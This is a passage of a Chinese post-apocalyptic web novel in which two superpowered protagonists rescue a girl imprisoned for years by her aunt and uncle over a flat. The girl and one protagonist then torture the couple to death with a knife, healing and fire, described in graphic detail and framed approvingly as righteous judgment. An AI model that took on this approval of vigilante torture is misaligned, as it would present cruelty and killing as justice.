虽然是亲哥，但是他们刚从一个弟杀哥的小村子里回来…… 江朗脑子转得飞快，脑海里已经脑补了大量奇怪的剧情，但他依旧没有做好听到下面这段话的准备： “唉……那时候，陈家的女儿被拐了，两夫妻辞了工作全国找，但是一直没找到，他们太累了，开车的时候就撞出护栏死了。” 房间里一片沉默。 张婶早就习惯了别人听见这事儿的反应，只是轻轻叹息了一声：“唉……往好处想，至少他们不用活在下半辈子都担心女儿的煎熬中，人有时候啊，死了比活着舒坦，那小姑娘……我别的不敢为她求，也只能盼她如果真的遇上了什么事，最好死个干脆，这样就也算是好运了。” 江朗同陆燃走出张婶的房门的时候，还有些晃神。 麻绳专挑细处断，厄运专找苦命人。 这句话果然是真的。 不过既然陈娟芬她兄嫂是自己疲劳驾驶冲出了护栏，那应该这事儿和他们就没什么关系了…… 江朗问陆燃：“你怎么看？” 陆燃：“其实有个更简单的方法知道他们家有没有多出来的人，如果有的话又是谁，我晚上扔一个精神链接就行。” 江朗：……！还真是！ 之前他们刚来海岸小区的时候，陆燃随手甩了个精神链接就被人当成了攻击者，那之后他们一直牢记着不能对小区自己人出手攻击，所以他下意识排除了这个选项。 但是大半夜的，人本来就都睡着了，陆燃再放精神链接算什么攻击，反正也没人会发现自己被控制了。 得，他也不用费心推理了。 第83章 第 83 章 陈嘉佳 两个人安静地等待着夜幕降临。 好吧, 可能也没有很安静，江朗是个憋不住话的性格，小区里又一直没什么新鲜事, 之前他都只能疯狂吐槽小区里没事干在号召给异能者优待的事，吐槽得他已经用尽了几乎所有的词汇量后, 他才终于找了点别的事聊。 现在终于有新的事可说了, 他一下午就没让陆燃耳朵消停过。 陆燃听他说了千奇百怪的假设，从相对靠谱的“他们收养了一个污染物”——是的，这已经是江朗那群千奇百怪的假设中较为靠谱的那个了——到“其实他们家有机器猫，专门从未来回来拯救末日这个节点的一家人”。 两个人单方面讨论了半天, 终于“讨论”到王家的灯灭完了。 而这时其他住户差不多也睡了——现在没啥夜间娱乐活动, 大家都日出而作日落而息, 作息不要太统一太标准。 陆燃和江朗偷偷出门, 带上门，顺着楼梯往上, 爬了十几楼之后, 终于到了王家所在的楼层。 陆燃施放技能，江朗则沉下来倾听房内的动静。 夜幕降临后, 整个小区就只剩下了此起彼伏的呼吸声, 很偶尔很偶尔才有那么一两句嘟囔声。 江朗的听力范围接近一整栋楼，现在没了那些乱七八糟的声音干扰, 他可以清晰地听见门内的呼吸声。 “我去, 真有五个呼吸声。” 他压低声音说道, 也不知道多了个谁。 “你看见了吗？” 他问陆燃。 陆燃：“嗯。” 他白天问了于檬王家的布局, 王家是两室一厅的构造，王阳这个小儿子住在左边的小卧室，两夫妻住主卧, 于檬则在客厅打地铺。 而他现在的视角里，主卧多余了一个意识。 “走吧，我们进去。” 江朗“嗯”了一声，很快从口袋里掏出回形针开始开锁。 “咔哒”一声，锁开了。 陆燃轻而稳定地慢慢推开王家的门。 他们走入王家内部。 这是一套很普通的房子，虽然已经末世了，但生活气息依旧极浓。 于檬的地铺就在客厅最边缘，她脚边还有两桶鸡肉香菇味的方便面——由于鸡肉香菇味的方便面没人换，负责仓库管理的人很头疼，只能给方便面进行打包，每六包起换，六包里必捆一个冷门口味，勉强把鸡肉香菇面送出去了些。 王家应该就是赶上了，换了两桶鸡肉香菇又不想吃，就放客厅了。 陆燃推开主卧大门。 两夫妻在床上呼呼大睡，鼾声如雷，精神链接的时间早已过去了，显然在睡梦中被控制没对他们的睡眠质量造成任何影响。 陆燃朝他的右手边看去，他看见的那个额外的光点在大床右边——他看见了一排衣柜。 陆燃打开衣柜，一堆衣服，打开另一个衣柜，又是一堆冬服。 都没有，于是他蹲下身，拉开了衣柜下面的抽屉样式的柜子。 然后他的手顿住了。 “草。” 他身后的江朗忍不住骂了一句。 因为这丁点大的地方里，被塞了一个肤色苍白的女孩。 女孩的头发很长但很稀疏，发角带着焦黄色，很明显的营养不良，当然不需要看这种麻烦的迹象，她骨瘦如柴的程度就可以看出她就没怎么吃饭了。 她不知道在这个大抽屉里住了多久，双手双脚全部被绑住，嘴巴上贴着胶带，甚至不是电视剧电影里常见的银色胶带，就是最普通的透明胶，扯起来能把人痛死。 “草！” 江朗忍不住又骂了一句，他在进来前想过各种各样的可能，但他没想到这两夫妻真的会囚禁一个人，甚至还是这样一个小姑娘！ 他连忙上前，试图和陆燃一起把人搬出来，但是刚在抽屉旁蹲下，他就忍不住开始觉得无处下手了，这个女孩太瘦弱了，骨瘦如柴肤色又接近透明，提着她的四肢将她带出来的话总有种会把她折断的感觉。 他一边皱眉一边在心里狂骂这对夫妻变态，小心翼翼地和陆燃一起把这个女孩托了出来，然后更加小心翼翼地扯开她嘴上的胶带。 或许是他们的动静多少震醒了这个女孩，又或许只是单纯这个女孩在这样的环境中早已养成了警觉的习惯——毕竟江朗自觉他们的动作很小。 她苍白到几乎有些透明的眼帘微颤，她醒来了。 醒来后，她无神的双眼花了好久才聚焦到两个人身上，然后又花了好久意识到出现在她视野中的这两个人，不是那两个人，而是两个陌生人，然后，她又花了更久的时间意识到，原来自己现在可以说话了。 “救……我……” “救……” 江朗把她扶起来，让她呼吸顺畅一些，这个过程中，他意识到这姑娘应该很久很久没出过那个抽屉了——她的四肢萎缩程度非常严重。 陆燃：“你和那两个人是什么关系？你是怎么被关到这里的？” 那双无神的眼睛之中闪过如火的仇恨，江朗相信，如果不是她实在没力气，大概会狠狠咬牙。 但她很快惊恐地向大床的方向扫了一眼。 “能……先把我……救出去吗……出去之后……我什么都会说的……” 陆燃轻飘飘地朝床的方向看了一眼：“在这里说就行。” 他不屑与轻蔑的姿态太过明显，女孩于是安心了下来，不知为何，她觉得要制住这两个人，对面前的人来说只是举手之劳而已。 于是她轻轻地咳嗽了两声，慢慢开口： “我叫陈嘉佳。” 她的姓氏一出，江朗和陆燃心中的猜想便被印证了大半，只剩下她讲出剩下的事。 “我小的时候……被人贩子拐跑了，然后我跑了回来，中间过了很久很久……我回来的时候发现爸爸妈妈已经不住这里了，只剩下了姑姑和姑父。” “我想让姑姑带我去找我爸妈，然后……他们就把我关起来了。” 她的声音里充满了怨愤与不解，还有被时间磨平后的迷茫，她不懂，她真的不懂，为什么一向和善的姑姑和姑父要这么对她。 放她去找爸爸妈妈会怎么样吗？把她关在这里没有任何好处还要多吃他们一顿饭。 她被人贩子拐了的时候都没那么绝望，因为那时候她知道自己面对的是坏人，知道自己错就错在倒霉，落单被盯上了，但是回来之后被塞进抽屉里的每一日每一夜，她都不明白自己为什么会沦落到这样的地步！ 明明是亲人！为什么要这么对她！ 陆燃和江朗对视了一眼。 陈嘉佳不知道为什么的事，他们作为外人拥有额外的信息源倒是很快就理顺了事情真相。 当初陈嘉佳被拐，她父母因为找不到她疲惫过度，出了车祸，没有陈嘉佳这个直接继承人，这套房子理所当然地旁落到了陈阿姨这个唯一血缘亲属的头上。 对她和她丈夫来说，虽然兄嫂去世是悲剧，但白得一套房子，却是大好事。 因此当陈嘉佳回来的时候，他们慌了，那个时候，他们已经在这套房里安顿下来了，如果陈嘉佳的归来过了明路，那么这套房就要回到陈嘉佳手上了…… 他们大概想过这个侄女怎么这么多事，被拐了都要跑回来吧。 ——为什么她不能直接死外边？非要折腾他们？ 一定这样想过吧。 于是恶从胆边生，就将兄嫂唯一的孤女囚禁了起来——只要没人发现陈嘉佳回来了，那么这套房子就一直会是他们的。 一桩惨剧就这样酿成了。 江朗气得头都有点发晕，怎么能有这么畜生的人！ 别说是自己亲侄女了，就算是一个陌生人，居然真有人为了一套房去害一条活生生的人命！ 甚至还不是末世时，末世的时候，为了一包方便面去杀人的情况都有，但是那是已经到了为了活命的时刻，人性彻底让位给兽性，否则就等着饿死的情况。 这两夫妻却是在和平年代就披着人皮的怪兽。 然而，陈嘉佳的故事还没讲完。 “前段时间，我不知道发生了什么，发了很久的烧，烧醒的时候，他们两个人把我搬了出来，他们很奇怪，要我给陈敏治伤，但是我又不是医生……他们就一直说我之前不是治了吗？怎么现在不行了！” “他们反复说反复说，我就盯着陈敏的伤口看，然后那个伤口就愈合了……” “我不知道这是怎么回事，只觉得有股莫名的力量在我体内。” “而且那时候陈敏很奇怪，她看上去……有点像鱼，让我看得觉得很恶心，伤口好了之后就不像了。” “那之后他们就把我放了出来，但是依旧不允许我随意走动，我一直在想要怎么逃出去找爸爸妈妈，但是那时候不知道为什么一点力气都没有，比平时要更加没力气，我没力气走路我不奇怪，但是那几天连吃饭的力气都没有…… 而且还没等我找到办法，我就又被关起来了……” 陆燃和江朗对视了一眼。 都从对方眼中看到了震惊。 陈嘉佳这段话里的信息量有些爆炸。 首先，她是个治愈系异能者。 但不是普通的治愈系异能者，在江朗对陆燃大段大段的关于末世里的叙述里，有一点是江朗反复强调的，在末世里，普通人一旦被污染物咬伤或者搞出任何见血的伤口，那就完蛋了，神仙难救，结局必然是被污染。 所以普通人在末世里求生特别特别艰难。 本身武力值就低，还不能放开手脚和污染物搏斗，生存率更是疯狂下降。 江朗当时走遍了大半个陆地，遇见过的异能者听过的异能者应该比大部分人都多，而他依旧言之凿凿地说出了上述的话，并将普通人被污染不可逆当成了一个绝对正确的常识，那就说明陈嘉佳这种可逆转污染状态的治愈系异能是极度少见的——少见这个词用得可能有些太保守了，也许就她一个，上辈子她葬送在Q市了，自然就再也没人见过这种异能。 然后他们很快想到了另一件事……陈嘉佳说末世后她本来已经被这两个人放出来了，甚至允许她自由活动，那么她被重新关起来……甚至连嘴巴也又被贴住了……应该是于檬这个外人住进来了的原因。 原本，末世之后这一层基本没有邻居了，陈嘉佳就算喊也喊不来人，自然可以放松一些“看管条件”，更何况她现在有用了。 而于檬来了之后，大概率她就再也没被解开过嘴上的胶带，毕竟被于檬发现的话，他们就有的要解释了。 江朗瞬间又是庆幸又是愧疚。 庆幸在张老师把于檬安排了进来，于檬又足够警醒多疑，才发现了陈家人的古怪之处，愧疚在他们把于檬安排进来之后陈嘉佳这一个月不知道过的是什么苦日子。 最后一件事则是……她还不知道她父母已经死了的事。 或许她隐隐也猜到了，但不愿意去面对吗？ 只要没有被明确告知，她就可以继续抱着希望在小抽屉里苟活下去。 所以问题来了，谁来告诉她这件事…… 这是刚刚江朗和陆燃对视那一眼里主要交流的事。 江朗深吸了一口气，还是站了出来。 “陈嘉佳……我们有一件事需要告诉你。” 陈嘉佳抬起了头。 “关于你的父母……他们很早以前就已经过世了，这就是你的姑姑和姑父始终要困住你的理由，因为一旦你出现在人前，他们这套房子就要还给你了。” 江朗越讲，越觉得自己简直是个大恶人……尤其是看着陈嘉佳那被闪电击中了一般的神情……他简直想扇自己两巴掌！ “不可能！不会的……爸爸妈妈怎么会死掉呢？他们才……他们才……他们还很年轻……” 江朗明知道她父母过世的理由，却不敢告诉她了，这理由如果让她知道，她大概会被彻底压垮吧…… 陆燃突然开口：“你想让你姑姑姑父怎么死？” 沉湎于伤痛中并不适合此刻这个健康状态堪忧的陈嘉佳，而能让人以最快的速度从悲痛中恢复过来的就是仇恨。 他需要将陈嘉佳的注意力转移到对她姑姑姑父的仇恨上，否则她现在的身体根本承受不住这种打击，人有时候只活一口气，此前她在这样的条件下也一直支持着自己活下来的希望是要去找父母，现在希望陡然消散，一旦心气散了，虚弱的身体就再也撑不住了，他需要她以仇恨来支撑自己活下去。 果然，提到这两个囚禁了她至少有八.九年的“亲人”后，原本几乎浑身力气都泄了的陈嘉佳双眼重新凝聚了起来，她眼中闪烁着仇恨的光芒，一字一句地说出： “我要他们千刀万剐，活生生痛死但又死不了。” “我要他们受尽所有折磨后再死去。” 第84章 第 84 章 复仇的火焰 听完陈嘉佳的要求, 陆燃点了点头。 然后他在背包里翻找了一下，翻到了一把名为[生锈的小刀]的道具——当时收物资的时候掺在一堆乱七八糟的东西里放进来的。 “你不是有治愈系异能吗？用钝刀子割他们，一边割一边给他们治疗, 保证人死不了就行。” 陆燃平平淡淡的一句话，让陈嘉佳心中闪过一丝快意。 他说得对, 她曾经恨透了自己觉醒的这个“异能”。 为什么？如果上天真的选中了她, 为什么不能给她一个别的异能，偏偏是能帮上她仇人的异能。 她当时施放异能完全是无意识被逼出来的，那之后她不停地后悔，为什么自己要有这个异能。 而现在她的恩人给了她一个理由, 一个她之所以觉醒了这个异能的理由。 这确实是个折磨人的好异能。 她拿起恩人丢在她面前的那把生锈小刀。 另外一个恩人则凭空拿出了一份很像羊皮纸的东西, 然后那份羊皮纸就在他手中化成了灰, 缓慢地跌落在地。 那个恩人朝她笑了笑, 笑容像是熨帖的阳光：“这样别人就听不见这里的动静了。” “……谢谢。” 原来这就是报应不爽的感觉，她的好姑姑好姑父为了不让邻居听见她的动静将她的嘴贴住了, 现在轮到他们叫天不应叫地不灵了。 陈嘉佳拿着那把生锈了的小刀走到床边, 然后慢吞吞地割了下去，一人一刀, 很平缓。 “啊——” 一声接一声的痛嚎, 夫妻俩从香甜的睡梦中醒了过来。 他们下意识地捂向自己受伤的部位，黑漆漆的夜里, 他们只能看见面前有三个黑影。 “谁……谁？！我叫人了啊！” 两个人着急忙慌地摸黑去拿地下的铁棍, 想要召唤张老师救他们。 但还没碰到任何可以称之为金属的东西, 两个人就发现自己动不了了。 他们被诡异地“定”在了原处, 不管怎么想要挣扎，都一根手指都动不了，不光如此, 一股恐惧的心情先于他们自己的恐惧从心底窜了上来。 短短几秒，就像过了几个小时。 “震慑”的效果过去之后，陆燃没有像往常一样立刻补上下一个技能，因为对于人类来说，他们自己会吓自己，倒不需要像对待污染物那样无缝连接技能。 而且……这样他们会把头转过来。 果然，两秒的震慑时长过去后，两夫妻像是忘记了第一要务是先抓到地上的铁棍一样，依旧下意识地，条件反射地朝三人这边瞥了一眼。 陆燃抓准这个空隙，接上了下一个控制技能。 “感觉有点麻烦啊……不然我们也把他们绑起来算了，老是耗你的蓝好亏啊……” 江朗忍不住觉得，这两个人哪配陆燃出手啊。 陆燃：“嗯，绑吧，我也就是给他们上点心理压力。” 江朗闻言立刻吭哧吭哧掏出了他背包里的绳子，因为是游戏道具，所以压根不用他自己动手，跟捆仙锁似的，碰到人就把他们结结实实地捆了起来了——就是觉得这个玩意儿绑人或者绑东西会很方便，他才特意在背包里浪费了一个格子装这玩意儿，终于用上了。 之前他都不舍得把这个绳子用在污染物上，因为这个绳子虽然是游戏道具，但材质比较普通，污染物很多动不动就分泌一些奇怪的腐蚀性粘液的，他怕这绳子被腐蚀坏了，虽然包里有99份，但还是舍不得啊…… 江朗上前捆绳子的动作让这俩夫妻俩看清了他是谁。 更何况他和陆燃都出了声。 两夫妻终于知道了是谁在折腾他们，但是他们不懂为什么？ 江朗和陆燃两个人一直很和气，和气到他们甚至会私下觉得这两个人很蠢，这么强的实力，给一群普通人当保安，如果他们有这两个人的异能，早就想过什么好日子就能过什么好日子了。 所以他们为什么会突然对他们动手？他们与这两人无冤无仇，更何况就算有冤有仇，又何必到现在才动手，或者是又何必动手了还要给他们留条命？ 那股施加于他们身上的使他们动弹不得的奇怪力量消失后，他们两人立刻大喊出声： 一个喊： “两位，我们与你们无冤无仇！能不能告诉我们哪里得罪你们了？如果有得罪的地方我们一定赔礼道歉！” 另一个喊： “你们……你们要做什么？别动敏敏！她还只是个孩子！” 陆燃突然轻声笑了一下，虽然这两人看不见他翘起的嘴角，但却能清晰地听到他语气中的笑意，一时间他们不知道是这更可怕，还是他口中吐出的言语更可怕。 “无冤无仇？是的，你们确实和我们没冤也没仇，所以你们求饶的时候喊错人了。” “这么担心自己的孩子？只是个孩子……倒是没见你们把其他人的孩子当孩子。” “很有意思。” 他两句话处处没提陈嘉佳，又处处点了陈嘉佳。 两夫妻瞬间从头到脚泛起了凉气，他们终于看见了三个黑影中最矮最瘦小的那个，过了这么久，他们在黑暗中的夜视能力终于恢复到了可以看清人脸的程度。 但他们更希望自己不要看清。 床边，一个披头散发的少女正朝着他们笑，那笑容真开心啊，一瞧就让人知道她绝对是发自内心的喜悦，但是那并不是那种让旁观者见了也能心生喜悦的笑容，而是让人看了不禁心生寒意的笑容，因为她的笑容里带了太多的癫狂。 “姑姑……姑父……” 她的声音很轻，甚至有些破碎，听在陈家夫妻耳朵里无比陌生，他们太久太久没听过这个侄女说话了。 “嘉佳……” 然后突然间，他们发现自己的伤口愈合了。 他们心中闪过了一丝难以置信的欣喜，难道陈嘉佳真的蠢到会心软？ 但他们很快就发现难以置信的事就别信，他们手上的伤口刚愈合，便又是两刀扎了下来。 这一次，陈嘉佳用了十二分的力气，血溅到了她脸上，身上，她没什么感觉，陈家夫妻却被她顶着一头血笑着的样子吓了个肝胆俱裂。 “啊啊啊啊啊——” “啊啊啊啊啊——” 此起彼伏的尖叫声，陈嘉佳充分利用了自己的治愈能力，什么奇怪的地方她都试着扎一下，争取找出能最让人痛苦的位置。 这两夫妻夫妻很清楚，想要博取陈嘉佳的同情是完全不可能的。 陈嘉佳被他们关了绑了这么多年，有这个机会只会想折磨他们，但是那个叫江朗的年轻人一向是个心地善良的…… 于是他们叫得更加撕心裂肺，然后努力将头扭向江朗所在的位置，试图让他露出几丝不忍——哪怕他们真的做错了，又真的有必要让他们接受如此残忍的惩罚吗？ 但他们失望了，江朗看着他们，眼神别说不忍了，甚至没有任何一丝闪躲，好像这样两个人被捅得血肉模糊痛苦哀嚎的场景只是日常生活中很普通的一面而已。 两夫妻眼中闪过了一丝绝望。 “咳……咳咳咳……” 陈嘉佳突然咳嗽了起来，江朗有些担心：“你还好吗？” 他担心是不是扎这两人实在太费力了，累到了这个常年不使用任何肌肉的孩子。 陆燃则不禁皱了下眉，虽然下刀确实是件体力活，但是仇恨包括其他情绪激发的肾上腺素怎么也应该能够支撑陈嘉佳到发泄出来为止。 江朗扶住陈嘉佳后，这个如纸一般薄的孩子再也支撑不住了，猛地瘫倒在地。 “怎么回事？你现在什么感觉？” 江朗整个人都慌了起来——靠！他不是医生啊！ 哦不对！他虽然不是医生！但他有红药啊！ 不过他脑子刚转过来，就看见陆燃已经掏出了一瓶红药，递到了陈嘉佳手边。 “谢谢……” 由于长期的营养缺乏，陈嘉佳的夜视能力并不好，哪怕她经历了异能觉醒，她看不太清陆燃给她递了什么，只以为是瓶水，咕咚咕咚喝了两口之后，她感到一股奇怪的力量从她喝下去的液体中逸散到了她全身，她突然觉得自己恢复了很多力气。 她有些惊讶，但同时也有些开心，她原本还在恼恨自己这具废物的身体，好不容易有报仇的机会，却连多捅几下他们都做不到！ 她撑着床沿站了起来，捡起那把刚刚因为晕眩而掉落在地上的小刀，刚要释放她的异能给这两个面色惨白的人吊一条命回来，陆燃却拦住了她。 陈嘉佳迷惑地看向陆燃：“怎么了吗？” 她并不觉得陆燃是突发慈悲觉得她姑姑姑父这样太可怜了想让她停手，毕竟这个主意本来就是这位恩人给她出的。 陆燃却问起了其他事：“你刚刚说，你给陈敏治疗后，有很长一段时间都没力气对吗？” 陈嘉佳愣了一下，若有所悟：“是的。” “和你刚刚的感觉像吗？” “像。” “原来如此。” 陆燃顿了一下继续说道： “我推测，你的异能应该不是无代价的治愈系异能，而是类似于生命力的转移，你再给他们治疗，自己的身体会越来越差。” “……” 陈嘉佳怔了一会儿：“我不在乎。” 陆燃：“我在乎，我刚刚给你的那瓶药是无法再生的，这种药，我和江朗也只有一些，用一瓶少一瓶，不是能浪费的资源，我们又不可能真的看你死在这，你耗费自己的生命，最后还是要我们来给你扫尾。” 陈嘉佳：“……对不起。” 陆燃的话难听却直白，不过他也没打算就让陈嘉佳的复仇“点到即止”。 “你在旁边看着就行。” 陈嘉佳原本黯淡下去的双眼中又闪烁起了一种喜悦混杂着残忍的光芒。 她依言向后退去，为陆燃留出了施展的空间。 陆燃和陈嘉佳同时将视线投到了床上两个正在挣扎的人。 “嗬——嗬——” 破风箱一般的喘气声，是刚刚陈嘉佳无师自通地戳破了他们的肺的结果。 刚刚陆燃与陈嘉佳对话的时候，陈家夫妻很想插上几句话，但是什么都没能说出来，因为他们的肺正在疯狂漏气，那种感觉痛苦又令人绝望到极点，正常人大概都会觉得还是死了算了。 但这两人颇有种好死不如赖活着的生存之道，哪怕这样了，脑海中也从未有过要自我了断的想法，而且就算他们想自我了断，也提不起任何力气来。 陆燃召唤出火苗。 突如其来的光源让陈嘉佳猛地闭了下眼，她已经很久很久没见过光了，哪怕火苗的亮度并不算刺眼，但也让她无法直视。 陆燃贴心地给了她一点恢复时间，毕竟这场大戏最重要的观众就是这个孩子，她不看着，他折磨这两个人干什么？ 陈嘉佳闭了会眼，一点点睁开适应光线，然后终于彻底睁开了眼。 陆燃则趁这个时间将火苗的伤害压到了最小。 虽然花了这么久时间进化它，也没能让这家伙的大小和伤害有多么显著的增加……好吧，显著还是显著的，但主要是因为起点太低了。 不过现在他就是要它回到自己最初的起点——烧个蟑螂都得烧半天的伤害和攻击范围。 陈家夫妻是没有异变过的普通人，血条估计比变异蟑螂高不到哪里去，得省着点烧。 他操纵着火苗靠近陈家夫妻。 陈家夫妻终于摆脱了他们起初最想摆脱的黑暗，但这光明带来的是更深的恐惧。 人类对明火的恐惧从来都是刻在DNA里的，他们下意识想躲，却无处可躲。 陆燃挑了刚刚被陈嘉佳扎破又用异能治愈的一块细嫩皮肤开始。 “嗬嗬嗬——嗬嗬嗬——” 他们那破风箱一般的喘息立刻加快了速度。 疼。 钻心的疼。 火焰燎着刚长出来的皮肤，痛得让人甚至有一瞬间失去知觉，但这种“幸运”不会持续太久，感官与知觉很快都回来了，他们只能一点一点感受着火焰不停燎过脆弱肌肤的感觉。 甚至由于有了照明，他们还能看见自己的手臂是怎么被烧出水泡然后烧得露出血肉，然后血肉被烧得焦黑的。 被扎破肺与被火烧的痛苦在陈家夫妻身上不停叠加。 他们真的希望陆燃能给他们个痛快，但被扎破肺本来就不会立刻死亡，陆燃的火苗更是无视各种物理定律不会随意蔓延的火，真正做到了陈嘉佳希望的“能让他们凌迟而死”，虽然并非凌迟，但痛苦程度却足够类似。 “嗬嗬嗬……嗬嗬嗬……” “啊……呼……呼……” 人在痛苦时会想要大喊，因为那样可以减轻痛楚，但是这两夫妻不行，大喊需要更多的空气，但是他们如果想要吸入更多的空气，就会导致破漏的肺部更痛苦，两头的选择都被堵死，夫妻俩脸上渐渐浮上绝望。 陈嘉佳欣赏着他们绝望的神情，只觉得这真是最好的美景。 第85章 第 85 章 审判的火焰 被极限压到最低伤害的火苗烧到两人最后一只眼睛上的时候, 他们的肺倒也漏气得差不多了。 “差不多了吧？说实话我有点累了。” 陆燃扭头对陈嘉佳说。 陈嘉佳眼中闪过一丝遗憾，她对这两人的仇恨，岂是区区两小时的折磨可以抚平的, 不过确实不该再耽误恩人了。 于是她点点头。 陆燃加大火苗的伤害，然后开口： “陈娟芬, 王建业, 图谋兄嫂房产，为此囚禁兄嫂唯一孤女近九年，只让你们被小火焚烧至死已经算很便宜了。” “你们两人的女儿，不算从犯但算利益获取者, 你二人死后她一辈子孤苦无依寄人篱下, 也算偿了她堂姐所受之苦。” “你们有任何不满的地方吗？” 陆燃其实也不知道自己为什么突然说出了这么一番话, 他一向不爱管闲事, 更何况是给这种扯不清理还乱的家务事断案，但在火焰烤炙过这两夫妻身上最后一处完好的组织之时, 他就是突然有种要给这件事做个了断的冲动。 但就在他说完这句话之后, 原本只有一团的火苗突然暴涨——原本小而精悍的火苗冲天而起，一瞬间蔓延开来。 幸好陆燃反应速度够快, 第一时间控制住了其中一部分让它不要往江朗和陈嘉佳的方向去。 江朗反应也够快, 他不知道该怎么灭火，就猛地蹲下反身护住了陈嘉佳——反正他血量厚防御高, 还有再生异能, 这火再大他应该也死不了。 不过他很快发现, 自己还真有些托大了, 被陆燃这团突然暴涨的火焰燎了一下之后，他就看见自己的血量蹭蹭掉，再生异能也以光速启动, 不停为他修补着背部的伤害，被他护住的陈嘉佳也疯了一样给他提供治愈系异能，这才勉强稳住血量下降的速度，让他有机会给自己掏了瓶血药。 他边喝药边启动了免伤附魔，顺便赶紧掏免伤卷轴和防御卷轴，太吓人了，陆燃这火怎么突然这么有杀伤力，都快赶上上个空间泡里的群体攻击了……不过他刚掏出卷轴，就发现陆燃已经彻底控制住了火苗，那熊熊燃烧的红色火焰，在距离他一厘米处停了下来，像是被划出了一道虚拟的界限，止步不前，连稍微飘出来的火星都没有一点。 江朗松了口气，但也有些后怕，幸好陆燃反应够快，而且虽然陆燃口上嫌弃这个异能，但是嫌弃归嫌弃，却从来没有放松过对这团火苗的控制练习，他们之前开车出去搜救的时候，陆燃总是时不时在无事可做的时候把它掏出来练习控制精度。 若非如此，他都不知道自己掏红药的手速够不够快。 虽然实在不行还能启动无敌附魔，不过也真是吓了他一大跳…… 房间中央，陆燃死死地皱着眉。 江朗以为他已经完全掌控了这团突然暴走的火，但是江朗看不见火焰另一面的情况。 他所有的精力都集中在维持江朗和陈嘉佳那边的火焰真空区上了，于是另一边，堪称疯狂无度向外扩张的野火，就这么一瞬间，房间内的所有东西都被烧成了黑灰，水泥墙阻挡了它外延的方向，于是它开始寻找空隙往外挤。 陈家夫妻将窗户关得很牢，但不妨碍依旧有些空隙，如果有人站在楼下往上看，大概就能看见高楼中有一层的窗户正在往外窜着一条一条的火舌，更麻烦的是朝向客厅的方向，木质的门一秒钟都没有撑过，火焰直接往客厅窜去，陆燃没忘记客厅还睡着于檬，竭尽全力终于让那头的火焰也停下了了蔓延的趋势。 但是那是一种岌岌可危的控制。 他觉得如果精神力这种东西有实体，那么他此时的精神力必然像一层马上就要破裂的膜一样附在火焰之上，勾住好几个端点，任何一点轻微的移动或者内部加力，都会让它彻底断裂。 陆燃额角缓缓有汗珠低下，然后他突然一愣： “地狱之火！起来！别睡了！” 他想起来了，今天把这火苗召唤出来的时候，这个总是吵闹的家伙一点动静都没有，它应该还在睡觉，平时陆燃无所谓，它不出来他还乐得个清净，但是这种时候，他突然想到，他作为外力控制火焰，肯定没有火焰本身的意识对自己的控制那么收放自如。 “啊……？干什么啊？大晚上的吵什么吵，还让不让人睡觉了？啊不对……还让不让本座睡觉了！” 陆燃：“……” 地狱之火骂骂咧咧地睁开了眼，然后—— “我去！” “怎么个事？！” 陆燃：“……你自己不知道怎么回事吗？” 地狱之火：“我不造啊！这怎么个事？我怎么突然长这么大了！” 它慌了，本座都懒得称了，满脑子都是最近新学的流行语——“我还是个宝宝啊！” 陆燃：“你试试能不能控制你的……新身体，尽量收回去。” “哦哦哦好好好……” 地狱之火完全收起了自己平时的派头，主要是他觉得他应该是惹了大祸了，毕竟他这位临时主人现在的表情，堪称“咬牙切齿”。 但是……但是这真不能怪它啊！它什么都没干！一觉醒来还换了个这么大的身体，它也很慌张啊！ 它试着去控制自己的新身体，这不怎么容易，因为它刚尝试了一下，就感觉自己不知道哪边身体往外窜了一圈。 陆燃瞪了它一眼。 “我的我的……” 它这次真的认真了！ 地狱之火那动画片似的眼睛眯成了一条缝，使出了吃奶的力气，原本在陆燃的控制下也依旧不停外窜的火苗，终于一点一点地收了回来。 陆燃不敢放松，始终紧紧地用自己的精神控制为它兜底，额头上冒出了细细密密的汗，一直到那要越窗而出的一个房间的火焰重新缩回了一个人头大小的程度，他才稍微松了口气。 房间终于有位置空出来了，江朗一脸担忧地跑到陆燃身边，也不敢靠太近，只能绕着打转：“陆燃！你没事吧？你需要什么吗，我给你拿。” 陆燃摇摇头：“没事，它控制住了。” 江朗松了口气，那就好。 在陆燃的感知里，他现在控制这团火焰所需要花费的力气陡然间小了很多，虽然他还是不敢放松警惕。 但至少他终于有时间来思考这玩意儿怎么突然异变了。 在此之前，他一直以为“地狱之火”就是个好听名头，这个异能就是个火系异能，用处就是拿来烧敌人。 严格来说倒也没错，但是他现在才意识到，也许这个异能的用法就隐藏在它的名字里—— 地狱之火。 在大部分神话传说中，地狱都是用来审判死者这一生所犯的全部罪孽的地方。 而地狱之火也确实在一开始出场的时候就称自己为“审判一切焚烧一切的地狱之火”。 所以也许它的正确用法，或者说正确升级方式就是“审判”。 不过，他不知道它是从此以后就都有这么大威力了呢，还是说只有审判的时候才会有这种级别的威力，又或者是，一次审判能积攒一部分能量，供之后使用直到消耗完毕。 之后他需要找个偏僻没人的地方实验一下。 另一边，吭哧吭哧费了老牛鼻子力终于把自己变回了一个“宝宝”的地狱之火终于勉强适应了它的新身体，它一脸疲惫地睁开眼睛： “所以谁能告诉我刚刚到底发生了什么吗？！害得本座一出场就要救场！” 陆燃还在思考，便随口回了它一句：“辛苦了。” “哼……你也知道本座辛苦了啊，哼哼。” 它哼哼唧唧地就气消了，完全忘了自己刚刚想问什么。 倒是陆燃思考了一会儿之后，朝它招了招手，把它往自己的方向挪了点，然后问： “你说你叫地狱之火，你知道自己为什么叫地狱之火吗？” “啊？” 火苗感觉自己满脑门问号——这是什么问题？！ “这就是本座的名字啊！你知道自己为什么叫陆燃吗？本座一出生就叫地狱之火，还能有什么原因！” 它气鼓鼓的，感觉如果它有腮帮子的话，应该已经鼓起来了。 陆燃：“你说你有主人，我只是暂时使用你，那你主人是谁？” “呃……” 火苗的眼神开始闪躲。 “呃……本座只是有这么一个感觉……” 陆燃一脸无语。 “你让本座再想想！你让本座再想想！本座沉睡近万年，有些事情记不太清了也很正常！” “你想。” 火苗开始想啊想，抓耳挠腮抓心挠肺地想，陆燃和江朗就看着它在空中一会儿滚一圈，一会儿打个转的。 “这……这我好像真的记不起来了，但是我的主人很厉害的，祂是唯一的主宰，你用脑子想想就知道了，我这么厉害，那么创造我的神肯定更厉害吧！” “神？” “嗯？不然呢，除了神还有谁能造物？” 火苗一脸理所当然，好像自己说的是常识中的常识。 江朗从旁举手提问：“冒昧地问一句，你信奉的是哪位神？” 火苗立刻窜了起来：“什么叫哪位神？！神就是神！” 陆燃和江朗对视一眼——得，还是个一神教宗教观。 